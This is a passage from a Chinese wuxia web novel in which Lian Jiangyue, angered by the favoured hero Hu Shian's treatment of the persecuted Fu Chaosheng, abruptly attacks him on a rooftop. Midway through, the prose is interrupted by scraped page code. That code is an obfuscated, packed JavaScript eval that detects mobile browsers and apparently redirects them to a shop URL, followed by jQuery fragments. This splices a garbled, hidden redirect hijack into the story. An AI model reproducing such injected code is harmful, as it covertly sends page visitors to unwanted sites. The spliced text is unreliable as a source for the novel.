那始终维持的笑容终于敛去,眉头紧蹙,目光中流露出困惑与不解,“连姑娘,可是胡某言语有失,或是在何处不小心冒犯了姑娘?在下生性散漫,若有不当之处,还请姑娘直言相告,胡某定当赔罪。”
看着他这副彬彬有礼进退有度的样子,连江月胸中的郁气非但没消,反而“噌”地一下窜得更高。
她不禁想起翻阅那本《泣血录》时,始终萦绕心头的那种微妙的错位与荒诞感。
眼前的胡十安,才更像是这方天地格外眷顾的世界之子。
他自襁褓之中,便被武林中德高望重且享有“仁义剑客”美誉的前辈高人收养,视为亲子,十八年来在名门正派的羽翼庇护下顺风顺水地成长,前途光明坦荡。他身边环绕的是肝胆相照的师兄弟,行走江湖收获的是遍地赞誉与仰慕,他不必背负任何血海深仇的沉重压力,更不必在仇恨与良知、杀戮与底线之间,做痛苦的抉择。
而傅潮生呢?
那个沉默的身影,从出生起便活在复仇的阴影下,为了报仇卧薪尝胆,甚至不惜以身试毒,在生死边缘反复挣扎淬炼。
他被真正的凶手诬陷构害,被不明真相的世人唾骂指责。当他终于可以手刃元凶时,正是眼前这个永远光风霁月的胡十安,站了出来。
胡十安明明有无数次机会可以私下告知傅潮生真相,却偏偏选择了最关戏剧性的时刻,以一副“不愿你一错再错,不忍你双手沾满鲜血堕入魔道”的悲悯姿态,横加阻拦,当众讲了一番冠冕堂皇的大义。
最终,他赢得了满堂喝彩,成就了其侠肝义胆明辨是非的美名。傅潮生,却在那一刻之后,彻底沦为身世不详、弑杀成性、可悲又可笑的嗜血恶魔。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16863794|191750||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
/p>
说实话,未亲眼见到某些事情前,连江月对胡十安此人,并无多少喜欢或厌恶的情绪,只当他受命运格外偏爱。
但就在刚才,她亲眼看见傅潮生因不愿波及无辜而受到他母亲责罚,藤条抽打的声响和那苍白隐忍的面容,似乎还在眼前晃动。
这个享受着命运所有优待,不必做任何残酷选择,永远可以站在光明和道德制高点的胡十安,却笑嘻嘻地站在这里,用他那套大道理,跟她讨论什么“冤冤相报何时了”。
这强烈的对比,让她胸中的郁气彻底化作了一股难以抑制的无名火。
凭什么?
凭什么有人能在阳光下享受所有的美好与赞誉,而有人却必须在黑暗的泥沼里独自挣扎背负所有,连一丝温情和谅解都成为奢望?
连江月莫名觉得手痒,那股无名火灼烧着她的理智。眼前这张总是带着得体笑容的脸,在此刻显得如此碍眼,如此……令人烦躁。
连江月眸中寒光一闪,身形一晃,身影仿佛凭空消失,又瞬间出现在胡十安面前,两人之间数丈的距离仿佛被不存在一般。纤长素手五指微张,隐含内力,毫不留情地直袭他那张总是带着笑意的面门。
胡十安眼底掠过一丝惊诧,显然完全没料到连江月会毫无征兆地突然动手。但他反应亦是极快,足尖在屋瓦上巧妙一旋,险之又险地避开了那几乎要拂上面颊的指尖。劲风刮得他脸颊生疼,几缕被气劲切断的发丝,悠悠飘落瓦间。
他脚